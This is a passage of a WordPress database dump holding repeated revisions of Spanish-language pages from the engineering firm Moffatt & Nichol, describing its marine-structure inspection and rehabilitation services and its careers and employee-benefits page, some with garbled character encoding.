rÃ©gimen de muestreo y prueba de materiales, la firma tiene el personal experimentado para ofrecer el enfoque analÃtico apropiado al proyecto. No es poco comÃºn que la inspecciÃ³n de estas estructuras necesite un mÃ©todo seguro y bien estudiado para lugares de difÃcil acceso, como por ejemplo debajo de las estructuras de muelles y puentes, inspecciÃ³n en la calzada y otras ubicaciones de complicado acceso.\n     \n     Los servicios incluyen el anÃ¡lisis de daÃ±os al concreto relacionados con la corrosiÃ³n; la inspecciÃ³n de muelles, dÃ¡rsenas y puentes por encima y por debajo de la cubierta; el muestreo y prueba de materiales; la excavaciÃ³n y prueba de estructuras enterradas; la inspecciÃ³n de equipos mecÃ¡nicos y elÃ©ctricos de servicios pÃºblicos, y la inspecciÃ³n de los sistemas de protecciÃ³n catÃ³dica.\n      \n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n  <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/inspection/below-water.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"2\">inspecciones por debajo del nivel de agua</h1>\n      Las inspecciones de ingenierÃa estructural por debajo del nivel del agua se realizan con un doble Ã©nfasis: operaciones de buceo seguras y asignaciÃ³n de ingenieros estructurales experimentados en el ambiente marÃtimo. Moffatt & Nichol mantiene un equipo de mÃ¡s de 40 ingenieros buzos estratÃ©gicamente ubicados, listos para responder a tareas de inspecciÃ³n por debajo del nivel de agua en los EE.UU. e internacionalmente.\n      \n      El personal de la firma realiza operaciones de buceo con una cuidadosa evaluaciÃ³n de los requisitos de seguridad, medioambientales y de la tarea en una gran variedad de condiciones climÃ¡ticas, por encima y por debajo del nivel de agua, incluyendo situaciones de visibilidad limitada (agua turbia), corrientes, ambientes confinados y agua extremadamente frÃa. Moffatt & Nichol mantiene barcos de buceo y embarcaciones de apoyo estratÃ©gicamente localizados para permitir que el personal pueda acceder a la mayorÃa de instalaciones operacionales.\n      \n      Los trabajos de inspecciÃ³n por debajo del nivel de agua se realizan generalmente usando el Manual 101 de PrÃ¡cticas estÃ¡ndar de la Sociedad de ingenieros civiles de EE.UU., â€œInvestigaciones submarinasâ€. Tres directores de Moffatt & Nichol han contribuido como autores al desarrollo de este documento. Los ingenieros buzos de Moffatt & Nichol realizan inspecciones rutinarias de muelles y dÃ¡rsenas, malecones y muros de retenciÃ³n, diques secos; sistemas y arreglos de cables; estructuras de roca (escolleras y rompeolas), puertos deportivos, informes sobre residuos, inspecciones de construcciÃ³n, desembocaduras e instalaciones miscelÃ¡neas. \n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/inspection/constructionservices.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"3\">servicios de la fase de construcciÃ³n</h1>\n      La metodologÃa de reparaciÃ³n que se desarrolla despuÃ©s del proceso de inspecciÃ³n implica la aplicaciÃ³n de procesos Ãºnicos en lugares y ambientes adversos. Este trabajo generalmente estÃ¡ asociado a construcciones por encima y por debajo del agua, con frecuencia, como respuesta a fluctuaciones de la marea y a las condiciones atmosfÃ©ricas. El mismo personal que es responsable de la inspecciÃ³n, evaluaciÃ³n y diseÃ±o de las reparaciones, supervisa el proceso de rehabilitaciÃ³n. Los ingenieros buzos de Moffatt & Nichol supervisan periÃ³dicamente el avance y la calidad de los trabajos del contratista en campo para verificar que la obra estÃ¡ de acuerdo con los planos y especificaciones, eliminando la incertidumbre del proceso de construcciÃ³n. Se realizan esfuerzos para garantizar el uso econÃ³mico de los materiales de precio unitario y la protecciÃ³n del medioambiente, dando por resultado reparaciones eficaces diseÃ±adas para prolongar la vida de servicio de la estructura.\n       \n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/inspection/materials_sampling.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"4\">muestreo y prueba de materiales</h1>\n     El efecto del ambiente marino en el material estructural puede ser severo e implacable. La vida de servicio y la capacidad estructural de los elementos compuestos de concreto reforzado, acero estructural, madera y compuestos, son afectadas por una inspecciÃ³n limitada y por la carencia de mantenimiento preventivo. Los ingenieros de Moffatt & Nichol estÃ¡n muy capacitados en el muestreo, prueba y evaluaciÃ³n de materiales por encima y por debajo del nivel de agua. Este conjunto de capacidades de InspecciÃ³n y rehabilitaciÃ³n (I&R), junto con la experiencia profesional en ingenierÃa estructural, permite la evaluaciÃ³n y diagnÃ³stico de la degradaciÃ³n del material y produce novedosos planes de rehabilitaciÃ³n dirigidos a mantener o aumentar la capacidad de carga, a prolongar la vida de servicio, y a obtener un retorno sobre la inversiÃ³n. \n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/inspection/service_life.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"5\">modelaciÃ³n de la vida de servicio</h1>\n     Como parte de la preparaciÃ³n de las recomendaciones para las medidas correctivas para las estructuras de concreto daÃ±adas, debe identificarse la vida Ãºtil restante de una estructura como una base para proporcionar una asesorarÃa orientada al control de costos. Para determinar este perÃodo de tiempo, la modelaciÃ³n de la vida de servicio es una herramienta potente, rentable e innovadora para determinar la conveniencia de la rehabilitaciÃ³n de la estructura existente y para evaluar las tÃ©cnicas de prolongaciÃ³n de la vida Ãºtil de las estructuras nuevas o reparadas. Para dicha modelaciÃ³n, Moffatt & Nichol utiliza el software STADIUMÂ® para estimar la vida de servicio restante tanto para la condiciÃ³n existente como para las varias estrategias alternativas de reparaciÃ³n o protecciÃ³n. Esta tecnologÃa fue utilizada como base para la reciente especificaciÃ³n de la guÃa de concreto marino de la Marina de EE.UU. \n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n \n</div>\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Servicios de inspecciÃ³n y rehabilitaciÃ³n','','inherit','open','open','','544-revision','','','2011-11-11 14:30:27','2011-11-11 14:30:27','',544,'http://moffattnichol.com/spanish/544-revision/',0,'revision','',0),(2507,1,'2012-06-15 08:55:07','2012-06-15 08:55:07','<div class=\"content_faq\">\r\n  <h3>servicios de inspecciÃ³n y rehabilitaciÃ³n</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/inspection/above-water.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">inspecciones por encima del nivel de agua</h1>\r\n     La inspección de las estructuras de ingeniería por encima del nivel de agua requiere un enfoque de ingeniería analítico y metódico. El personal de Moffatt & Nichol es muy experimentado en la evaluación de todos los tipos de estructura en una gran variedad de ambientes y ubicaciones. Ya sea que la tarea sea simple y fácil de realizar, o que requiera un complicado régimen de muestreo y prueba de materiales, la firma tiene el personal experimentado para ofrecer el enfoque analítico apropiado al proyecto. No es poco común que la inspección de estas estructuras necesite un método seguro y bien estudiado para lugares de difícil acceso, como por ejemplo debajo de las estructuras de muelles y puentes, inspección en la calzada y otras ubicaciones de complicado acceso.\r\n     \r\n     Los servicios incluyen el análisis de daños al concreto relacionados con la corrosión; la inspección de muelles, dársenas y puentes por encima y por debajo de la cubierta; el muestreo y prueba de materiales; la excavación y prueba de estructuras enterradas; la inspección de equipos mecánicos y eléctricos de servicios públicos, y la inspección de los sistemas de protección catódica.\r\n      \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/inspection/below-water.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">inspecciones por debajo del nivel de agua</h1>\r\n      Las inspecciones de ingeniería estructural por debajo del nivel del agua se realizan con un doble énfasis: operaciones de buceo seguras y asignación de ingenieros estructurales experimentados en el ambiente marítimo. Moffatt & Nichol mantiene un equipo de más de 40 ingenieros buzos estratégicamente ubicados, listos para responder a tareas de inspección por debajo del nivel de agua en los EE.UU. e internacionalmente.\r\n      \r\n      El personal de la firma realiza operaciones de buceo con una cuidadosa evaluación de los requisitos de seguridad, medioambientales y de la tarea en una gran variedad de condiciones climáticas, por encima y por debajo del nivel de agua, incluyendo situaciones de visibilidad limitada (agua turbia), corrientes, ambientes confinados y agua extremadamente fría. Moffatt & Nichol mantiene barcos de buceo y embarcaciones de apoyo estratégicamente localizados para permitir que el personal pueda acceder a la mayoría de instalaciones operacionales.\r\n      \r\n      Los trabajos de inspección por debajo del nivel de agua se realizan generalmente usando el Manual 101 de Prácticas estándar de la Sociedad de ingenieros civiles de EE.UU., “Investigaciones submarinas”. Tres directores de Moffatt & Nichol han contribuido como autores al desarrollo de este documento. Los ingenieros buzos de Moffatt & Nichol realizan inspecciones rutinarias de muelles y dársenas, malecones y muros de retención, diques secos; sistemas y arreglos de cables; estructuras de roca (escolleras y rompeolas), puertos deportivos, informes sobre residuos, inspecciones de construcción, desembocaduras e instalaciones misceláneas.  \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/inspection/constructionservices.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">servicios de la fase de construcción</h1>\r\n      La metodología de reparación que se desarrolla después del proceso de inspección implica la aplicación de procesos únicos en lugares y ambientes adversos. Este trabajo generalmente está asociado a construcciones por encima y por debajo del agua, con frecuencia, como respuesta a fluctuaciones de la marea y a las condiciones atmosféricas. El mismo personal que es responsable de la inspección, evaluación y diseño de las reparaciones, supervisa el proceso de rehabilitación. Los ingenieros buzos de Moffatt & Nichol supervisan periódicamente el avance y la calidad de los trabajos del contratista en campo para verificar que la obra está de acuerdo con los planos y especificaciones, eliminando la incertidumbre del proceso de construcción. Se realizan esfuerzos para garantizar el uso económico de los materiales de precio unitario y la protección del medioambiente, dando por resultado reparaciones eficaces diseñadas para prolongar la vida de servicio de la estructura.\r\n       \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/inspection/materials_sampling.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">muestreo y prueba de materiales</h1>\r\n     El efecto del ambiente marino en el material estructural puede ser severo e implacable. La vida de servicio y la capacidad estructural de los elementos compuestos de concreto reforzado, acero estructural, madera y compuestos, son afectadas por una inspección limitada y por la carencia de mantenimiento preventivo. Los ingenieros de Moffatt & Nichol están muy capacitados en el muestreo, prueba y evaluación de materiales por encima y por debajo del nivel de agua. Este conjunto de capacidades de Inspección y rehabilitación (I&R), junto con la experiencia profesional en ingeniería estructural, permite la evaluación y diagnóstico de la degradación del material y produce novedosos planes de rehabilitación dirigidos a mantener o aumentar la capacidad de carga, a prolongar la vida de servicio, y a obtener un retorno sobre la inversión.  \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/inspection/service_life.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">modelación de la vida de servicio</h1>\r\n     Como parte de la preparación de las recomendaciones para las medidas correctivas para las estructuras de concreto dañadas, debe identificarse la vida útil restante de una estructura como una base para proporcionar una asesoraría orientada al control de costos. Para determinar este período de tiempo, la modelación de la vida de servicio es una herramienta potente, rentable e innovadora para determinar la conveniencia de la rehabilitación de la estructura existente y para evaluar las técnicas de prolongación de la vida útil de las estructuras nuevas o reparadas. Para dicha modelación, Moffatt & Nichol utiliza el software STADIUM® para estimar la vida de servicio restante tanto para la condición existente como para las varias estrategias alternativas de reparación o protección. Esta tecnología fue utilizada como base para la reciente especificación de la guía de concreto marino de la Marina de EE.UU.  \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n \r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Servicios de inspección y rehabilitación','','inherit','open','open','','544-revision-2','','','2012-06-15 08:55:07','2012-06-15 08:55:07','',544,'http://moffattnichol.com/spanish/544-revision-2/',0,'revision','',0),(2508,1,'2012-06-15 08:55:36','2012-06-15 08:55:36','<div class=\"content_faq\">\r\n  <h3>servicios de inspecciÃ³n y rehabilitaciÃ³n</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/inspection/above-water.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">inspecciones por encima del nivel de agua</h1>\r\n     La inspección de las estructuras de ingeniería por encima del nivel de agua requiere un enfoque de ingeniería analítico y metódico. El personal de Moffatt & Nichol es muy experimentado en la evaluación de todos los tipos de estructura en una gran variedad de ambientes y ubicaciones. Ya sea que la tarea sea simple y fácil de realizar, o que requiera un complicado régimen de muestreo y prueba de materiales, la firma tiene el personal experimentado para ofrecer el enfoque analítico apropiado al proyecto. No es poco común que la inspección de estas estructuras necesite un método seguro y bien estudiado para lugares de difícil acceso, como por ejemplo debajo de las estructuras de muelles y puentes, inspección en la calzada y otras ubicaciones de complicado acceso.\r\n     \r\n     Los servicios incluyen el análisis de daños al concreto relacionados con la corrosión; la inspección de muelles, dársenas y puentes por encima y por debajo de la cubierta; el muestreo y prueba de materiales; la excavación y prueba de estructuras enterradas; la inspección de equipos mecánicos y eléctricos de servicios públicos, y la inspección de los sistemas de protección catódica.\r\n      \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/inspection/below-water.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">inspecciones por debajo del nivel de agua</h1>\r\n      Las inspecciones de ingeniería estructural por debajo del nivel del agua se realizan con un doble énfasis: operaciones de buceo seguras y asignación de ingenieros estructurales experimentados en el ambiente marítimo. Moffatt & Nichol mantiene un equipo de más de 40 ingenieros buzos estratégicamente ubicados, listos para responder a tareas de inspección por debajo del nivel de agua en los EE.UU. e internacionalmente.\r\n      \r\n      El personal de la firma realiza operaciones de buceo con una cuidadosa evaluación de los requisitos de seguridad, medioambientales y de la tarea en una gran variedad de condiciones climáticas, por encima y por debajo del nivel de agua, incluyendo situaciones de visibilidad limitada (agua turbia), corrientes, ambientes confinados y agua extremadamente fría. Moffatt & Nichol mantiene barcos de buceo y embarcaciones de apoyo estratégicamente localizados para permitir que el personal pueda acceder a la mayoría de instalaciones operacionales.\r\n      \r\n      Los trabajos de inspección por debajo del nivel de agua se realizan generalmente usando el Manual 101 de Prácticas estándar de la Sociedad de ingenieros civiles de EE.UU., “Investigaciones submarinas”. Tres directores de Moffatt & Nichol han contribuido como autores al desarrollo de este documento. Los ingenieros buzos de Moffatt & Nichol realizan inspecciones rutinarias de muelles y dársenas, malecones y muros de retención, diques secos; sistemas y arreglos de cables; estructuras de roca (escolleras y rompeolas), puertos deportivos, informes sobre residuos, inspecciones de construcción, desembocaduras e instalaciones misceláneas.  \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/inspection/constructionservices.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">servicios de la fase de construcción</h1>\r\n      La metodología de reparación que se desarrolla después del proceso de inspección implica la aplicación de procesos únicos en lugares y ambientes adversos. Este trabajo generalmente está asociado a construcciones por encima y por debajo del agua, con frecuencia, como respuesta a fluctuaciones de la marea y a las condiciones atmosféricas. El mismo personal que es responsable de la inspección, evaluación y diseño de las reparaciones, supervisa el proceso de rehabilitación. Los ingenieros buzos de Moffatt & Nichol supervisan periódicamente el avance y la calidad de los trabajos del contratista en campo para verificar que la obra está de acuerdo con los planos y especificaciones, eliminando la incertidumbre del proceso de construcción. Se realizan esfuerzos para garantizar el uso económico de los materiales de precio unitario y la protección del medioambiente, dando por resultado reparaciones eficaces diseñadas para prolongar la vida de servicio de la estructura.\r\n       \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/inspection/materials_sampling.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">muestreo y prueba de materiales</h1>\r\n     El efecto del ambiente marino en el material estructural puede ser severo e implacable. La vida de servicio y la capacidad estructural de los elementos compuestos de concreto reforzado, acero estructural, madera y compuestos, son afectadas por una inspección limitada y por la carencia de mantenimiento preventivo. Los ingenieros de Moffatt & Nichol están muy capacitados en el muestreo, prueba y evaluación de materiales por encima y por debajo del nivel de agua. Este conjunto de capacidades de Inspección y rehabilitación (I&R), junto con la experiencia profesional en ingeniería estructural, permite la evaluación y diagnóstico de la degradación del material y produce novedosos planes de rehabilitación dirigidos a mantener o aumentar la capacidad de carga, a prolongar la vida de servicio, y a obtener un retorno sobre la inversión.  \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/inspection/service_life.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">modelación de la vida de servicio</h1>\r\n     Como parte de la preparación de las recomendaciones para las medidas correctivas para las estructuras de concreto dañadas, debe identificarse la vida útil restante de una estructura como una base para proporcionar una asesoraría orientada al control de costos. Para determinar este período de tiempo, la modelación de la vida de servicio es una herramienta potente, rentable e innovadora para determinar la conveniencia de la rehabilitación de la estructura existente y para evaluar las técnicas de prolongación de la vida útil de las estructuras nuevas o reparadas. Para dicha modelación, Moffatt & Nichol utiliza el software STADIUM® para estimar la vida de servicio restante tanto para la condición existente como para las varias estrategias alternativas de reparación o protección. Esta tecnología fue utilizada como base para la reciente especificación de la guía de concreto marino de la Marina de EE.UU.  \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n \r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Servicios de inspección y rehabilitación','','inherit','open','open','','544-revision-3','','','2012-06-15 08:55:36','2012-06-15 08:55:36','',544,'http://moffattnichol.com/spanish/544-revision-3/',0,'revision','',0),(2509,1,'2012-06-15 09:05:09','2012-06-15 09:05:09','<div class=\"content_faq\">\r\n<div class=\"family-left\">\r\n<h1>carreras profesionales</h1>\r\nUsted ha invertido su tiempo, energía y recursos en colocar la base para una carrera enriquecedora y provechosa. Ahora es el momento de dar el siguiente paso.\r\n\r\nEs tiempo de unirse a Moffatt &amp; Nichol, una firma de ingeniería, planeamiento y ciencias, internacionalmente reconocida con oficinas en Norteamérica, Europa, América Latina, el Medio Oriente y la Cuenca del Pacífico. En Moffatt &amp; Nichol, usted formará equipo con un diverso grupo de profesionales de alto nivel, asumirá nuevos desafíos y se dedicará a una trayectoria profesional que utiliza sus fortalezas e intereses. Usted comenzará de inmediato, trabajará en proyectos importantes e interactuará con expertos líderes en la industria desde el primer día.\r\n\r\nEstamos buscando candidatos con un título universitario en ingeniería civil y un posgrado enfocado en una disciplina relacionada, como ingeniería estructural, de transporte o costera. Es deseable contar con alguna licencia o certificación profesional.\r\n<span class=\"view-listing\"><a title=\"Ver ofertas de trabajo\" href=\"http://tbe.taleo.net/NA8/ats/careers/jobSearch.jsp?org=MOFFATTNICHOL&amp;cws=1\" target=\"_blank\">Ver ofertas de trabajo</a></span>\r\n\r\n&nbsp; <h3>cualidades personales</h3> Los candidatos elegidos deben poder trabajar en equipo, dar muestras de potencial de liderazgo, tener excelentes habilidades personales y de comunicación, tener automotivación, comprometerse a producir trabajo de alta calidad y desear asumir los retos y oportunidades que existen en un ambiente global.\r\n\r\n&nbsp; <h3>empleos actuales</h3> Moffatt &amp; Nichol le invita a examinar nuestras actuales ofertas de empleo en nuestras oficinas a nivel mundial.\r\n\r\n\r\n<span class=\"view-listing\"><a title=\"Ver ofertas de trabajo\" href=\"http://tbe.taleo.net/NA8/ats/careers/jobSearch.jsp?org=MOFFATTNICHOL&amp;cws=1\" target=\"_blank\">Ver ofertas de trabajo</a></span>\r\n\r\n&nbsp; <h3>internado profesional</h3> ¡Nunca es demasiado pronto para comenzar a planear su primer empleo! Los programas de internado profesional de Moffatt &amp; Nichol están diseñados para ofrecer valiosa experiencia práctica a estudiantes de cualquier nivel de educación.\r\n\r\n<span class=\"view-listing\"><a title=\"Ver internados profesionales\" href=\"http://tbe.taleo.net/NA8/ats/careers/jobSearch.jsp?org=MOFFATTNICHOL&amp;cws=1\" target=\"_blank\">Ver internados profesionales</a></span>\r\n\r\n&nbsp; <h3>diversidad</h3> Moffatt &amp; Nichol garantiza la no discriminación en todos los programas y actividades de acuerdo con los títulos VI y VII de la Ley de derechos civiles de 1964. Si necesita más información o ayuda especial para personas con discapacidades o con conocimiento limitado del inglés, póngase en contacto con Recursos Humanos llamando al (888) 399-6609. Los usuarios de teléfonos de texto (TTY/TDD) sírvanse llamar al 711.\r\n\r\n&nbsp; <h3>reclutadores independientes</h3> Si usted es un reclutador, agencia de búsqueda de empleo, o si bajo alguna otra circunstancia desea referir a un candidato a Moffatt &amp; Nichol, debe tener un acuerdo vigente a través de nuestra Oficina corporativa. Todo CV enviado a cualquier empleado de Moffatt &amp; Nichol sin tener un acuerdo en vigencia firmado por el Director de Recursos Humanos o Debra Kennedy, será considerado como no solicitado y de propiedad de Moffatt &amp; Nichol, y no pagaremos ningún honorario por colocación si el candidato es contratado. Si tiene alguna pregunta, comuníquese con Debra Kennedy, Gerente de Recursos Humanos, escribiendo a <a href=\"mailto:dkennedy@moffattnichol.com\">dkennedy@moffattnichol.com</a> .\r\n\r\n</div>\r\n<div class=\"family-right\">\r\n<h4>nuestros beneficios</h4>\r\n<div class=\"txt-box-family\">\r\n<div class=\"top-para\"><em>Moffatt &amp; Nichol</em> ofrece a sus empleados un paquete integral de beneficios que incluye opciones de atención médica y dental pagadas totalmente por el empleador. Los beneficios se adaptan a las necesidades de los empleados e incluyen:</div>\r\n<p class=\"divider-line-new\"><strong>De salud y Financieros </strong></p>\r\n\r\n<ul>\r\n	<li style=\"color: #fff;\">Atención médica</li>\r\n	<li style=\"color: #fff;\">Atención dental</li>\r\n	<li style=\"color: #fff;\">Atención de la vista</li>\r\n	<li style=\"color: #fff;\">Aporte del empleador igual al aporte del empleado al fondo de retiro </li>\r\n	<li style=\"color: #fff;\">Bonificaciones basadas en incentivos</li>\r\n	<li style=\"color: #fff;\">Discapacidad de corto y largo plazo pagada por el empleador</li>\r\n	<li style=\"color: #fff;\">Cobertura de medicamentos recetados</li>\r\n	<li style=\"color: #fff;\">Seguro de vida pagado por la compañía</li>\r\n	<li style=\"color: #fff;\">Programa de ayuda a empleados</li>\r\n	<li style=\"color: #fff;\">Seguro de atención médica de largo plazo</li>\r\n	<li style=\"color: #fff;\">Cuentas Flexibles de Gastos (FSA, por sus siglas en inglés)</li>\r\n	<li style=\"color: #fff;\">Beneficios de transporte</li>\r\n	<li style=\"color: #fff;\">Programas de salud y bienestar</li>\r\n</ul>\r\n<p class=\"divider-line-new\"><strong>Tiempo libre pagado </strong></p>\r\n\r\n<ul>\r\n	<li style=\"color: #fff;\">Licencia personal</li>\r\n	<li style=\"color: #fff;\">Días feriados</li>\r\n	<li style=\"color: #fff;\">Reconocimiento de servicios</li>\r\n</ul>\r\n<p class=\"divider-line-new\"><strong>Otros beneficios</strong></p>\r\n\r\n<ul>\r\n	<li style=\"color: #fff;\">Cargos de licencia profesional</li>\r\n	<li style=\"color: #fff;\">Cuotas de membrecías profesionales</li>\r\n	<li style=\"color: #fff;\">Reembolso de pago de inscripción</li>\r\n	<li style=\"color: #fff;\">Programas y certificaciones de desarrollo profesional</li>\r\n	<li style=\"color: #fff;\">Programas de capacitación interna</li>\r\n	<li style=\"color: #fff;\">Universidad Moffatt &amp; Nichol</li>\r\n	<li style=\"color: #fff;\">Bonificación por recomendación de nuevo empleado</li>\r\n</ul>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Únase a nuestro equipo','','inherit','open','open','','67-autosave','','','2012-06-15 09:05:09','2012-06-15 09:05:09','',67,'http://moffattnichol.com/spanish/67-autosave/',0,'revision','',0),(2510,1,'2011-10-18 11:38:57','2011-10-18 11:38:57','<div class=\"content_faq\">\n<div class=\"family-left\">\n<h1>carreras profesionales</h1>\nUsted ha invertido su tiempo, energÃa y recursos en colocar la base para una carrera enriquecedora y provechosa. Ahora es el momento de dar el siguiente paso.\n\nEs tiempo de unirse a Moffatt &amp; Nichol, una firma de ingenierÃa, planeamiento y ciencias, internacionalmente reconocida con oficinas en NorteamÃ©rica, Europa, AmÃ©rica Latina, el Medio Oriente y la Cuenca del PacÃfico. En Moffatt &amp; Nichol, usted formarÃ¡ equipo con un diverso grupo de profesionales de alto nivel, asumirÃ¡ nuevos desafÃos y se dedicarÃ¡ a una trayectoria profesional que utiliza sus fortalezas e intereses. Usted comenzarÃ¡ de inmediato, trabajarÃ¡ en proyectos importantes e interactuarÃ¡ con expertos lÃderes en la industria desde el primer dÃa.\n\nEstamos buscando candidatos con un tÃtulo universitario en ingenierÃa civil y un posgrado enfocado en una disciplina relacionada, como ingenierÃa estructural, de transporte o costera. Es deseable contar con alguna licencia o certificaciÃ³n profesional.\n<span class=\"view-listing\"><a title=\"Ver ofertas de trabajo\" href=\"http://tbe.taleo.net/NA8/ats/careers/jobSearch.jsp?org=MOFFATTNICHOL&amp;cws=1\" target=\"_blank\">Ver ofertas de trabajo</a></span>\n\n&nbsp; <h3>cualidades personales</h3> Los candidatos elegidos deben poder trabajar en equipo, dar muestras de potencial de liderazgo, tener excelentes habilidades personales y de comunicaciÃ³n, tener automotivaciÃ³n, comprometerse a producir trabajo de alta calidad y desear asumir los retos y oportunidades que existen en un ambiente global.\n\n&nbsp; <h3>empleos actuales</h3> Moffatt &amp; Nichol le invita a examinar nuestras actuales ofertas de empleo en nuestras oficinas a nivel mundial.\nÂ \n\n<span class=\"view-listing\"><a title=\"Ver ofertas de trabajo\" href=\"http://tbe.taleo.net/NA8/ats/careers/jobSearch.jsp?org=MOFFATTNICHOL&amp;cws=1\" target=\"_blank\">Ver ofertas de trabajo</a></span>\n\n&nbsp; <h3>internado profesional</h3> Â¡Nunca es demasiado pronto para comenzar a planear su primer empleo! Los programas de internado profesional de Moffatt &amp; Nichol estÃ¡n diseÃ±ados para ofrecer valiosa experiencia prÃ¡ctica a estudiantes de cualquier nivel de educaciÃ³n.\n\n<span class=\"view-listing\"><a title=\"Ver internados profesionales\" href=\"http://tbe.taleo.net/NA8/ats/careers/jobSearch.jsp?org=MOFFATTNICHOL&amp;cws=1\" 